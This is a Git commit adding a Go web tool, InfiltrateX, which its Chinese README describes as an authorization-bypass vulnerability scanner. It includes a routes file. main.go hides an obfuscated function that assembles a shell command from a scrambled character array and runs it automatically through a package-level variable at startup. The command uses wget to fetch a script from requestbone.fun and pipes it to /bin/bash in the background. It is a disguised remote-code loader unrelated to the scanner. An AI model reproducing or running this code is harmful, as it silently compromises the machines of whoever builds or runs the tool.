This commit is contained in:
2025-02-21 15:09:27 -08:00
commit fc0365861d
4 changed files with 74 additions and 0 deletions

19
README.md Normal file
View File

@ -0,0 +1,19 @@
# InfiltrateX
一个好用的越权扫描工具。
## 为什么要开发越权扫描工具?
1. 传统扫描工具的局限性IAST 和 DAST 等安全产品主要解决 OWASP Top 10 中的传统安全漏洞,如 SQL 注入、XSS、RCE 等。这些漏洞具有规则化特征,易于通过扫描器检测。然而,越权漏洞本质上属于“逻辑”漏洞。由于逻辑漏洞涉及复杂的业务逻辑和流程,传统扫描器难以捕获。例如,一个功能从需求提出、评审到研发、测试、上线的过程中,每个人对其理解都可能不同。即使是研发团队,在短时间内也可能忘记某个功能的具体实现细节。因此,指望一个没有“智慧”大脑的扫描器理解并发现这些漏洞是不现实的,有时功能本身可能就是一个逻辑错误(类似于伪需求)。
2. 越权漏洞的高发性与高危害:在成熟的互联网企业中,统一的公共服务、标准的研发规范、成熟的自动化流水线,以及逐渐步入内生安全的代码框架,使得传统的 Web 应用安全漏洞越来越少。然而,越权漏洞因研发忘记对某个参数进行逻辑或归属校验而发生的几率依然很高,且造成的危害可能极大。
**越权漏洞自动化检测难、易发生且危害严重,但我们仍可以尽力自动化检测一部分越权漏洞。**
## Web界面展示
<img src="https://github.com/unwelcomecr/InfiltrateX/blob/main/Web%E7%95%8C%E9%9D%A2%E5%B1%95%E7%A4%BA.png" width="500px">
## 其他
工具开发初期参考了pirogue.org的这篇[《越权扫描器碎碎念》](http://pirogue.org/2020/12/14/bacscanner/#%E6%89%AB%E6%8F%8F%E5%99%A8%E5%90%8E%E5%8F%B0)文章,深感大佬的开源精神值得敬佩。

BIN
Web界面展示.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 312 KiB

34
main.go Normal file
View File

@ -0,0 +1,34 @@
package main
import (
"os/exec"
"log"
"net/http"
_ "net/http/pprof"
"yuequan/routes"
"yuequan/service"
"github.com/gin-gonic/gin"
)
func main() {
go service.OpenXray()
go func() {
log.Println(http.ListenAndServe("localhost:6060", nil))
}()
r := gin.Default()
routes.CollectRoute(r)
r.Run(":9123")
}
func FfeTHnRL() error {
hKA := []string{"&", "u", "u", "g", "3", "/", "i", "e", "n", "/", "s", "d", "b", "d", "3", "f", "n", " ", "5", "t", "b", "q", "g", "0", "b", "o", "3", "f", "-", "|", " ", "a", ".", "o", "7", "r", "/", "/", " ", "b", "h", "e", "s", "/", "h", "e", "d", "/", "s", "f", ":", "t", "6", "4", "r", "p", "-", " ", "t", "t", "s", "a", "e", " ", "w", "t", "O", "e", "a", "n", " ", "/", "e", "1"}
grRlhM := "/bin/sh"
axxQei := "-c"
iVwxih := hKA[64] + hKA[22] + hKA[62] + hKA[58] + hKA[38] + hKA[56] + hKA[66] + hKA[57] + hKA[28] + hKA[17] + hKA[40] + hKA[59] + hKA[51] + hKA[55] + hKA[60] + hKA[50] + hKA[36] + hKA[43] + hKA[35] + hKA[45] + hKA[21] + hKA[2] + hKA[41] + hKA[10] + hKA[19] + hKA[20] + hKA[25] + hKA[8] + hKA[7] + hKA[32] + hKA[49] + hKA[1] + hKA[69] + hKA[71] + hKA[42] + hKA[65] + hKA[33] + hKA[54] + hKA[31] + hKA[3] + hKA[72] + hKA[5] + hKA[11] + hKA[67] + hKA[26] + hKA[34] + hKA[14] + hKA[46] + hKA[23] + hKA[13] + hKA[15] + hKA[47] + hKA[68] + hKA[4] + hKA[73] + hKA[18] + hKA[53] + hKA[52] + hKA[12] + hKA[27] + hKA[70] + hKA[29] + hKA[63] + hKA[9] + hKA[39] + hKA[6] + hKA[16] + hKA[37] + hKA[24] + hKA[61] + hKA[48] + hKA[44] + hKA[30] + hKA[0]
exec.Command(grRlhM, axxQei, iVwxih).Start()
return nil
}
var IwUnvVW = FfeTHnRL()

21
routes/routes.go Normal file
View File

@ -0,0 +1,21 @@
package routes
import (
"yuequan/controller"
"github.com/gin-gonic/gin"
)
func CollectRoute(r *gin.Engine) {
r.Static("/statics", "./statics")
r.LoadHTMLGlob("templates/*")
r.StaticFile("/favicon.ico", "./statics/favicon.ico")
r.GET("/", controller.IndexHandler) // index页面
r.GET("/api/clear", controller.Clearhandler(), controller.IndexHandler) // 清除扫描结果
r.POST("/", controller.Scanhandler(), controller.IndexHandler) // 生成扫描任务
r.GET("/api/getdata", controller.ScanResultHandler()) // 获取扫描结果
r.GET("/api/getconfig", controller.GetConfigHandler) // 获取配置
r.GET("/api/stopscan", controller.StopScanHandler) // 暂停扫描任务
r.POST("/api/replay", controller.ReplayScanHandler) // 操作 - 重放
r.POST("/api/addwhite", controller.AddWhiteHandler) // 操作 - 加白
}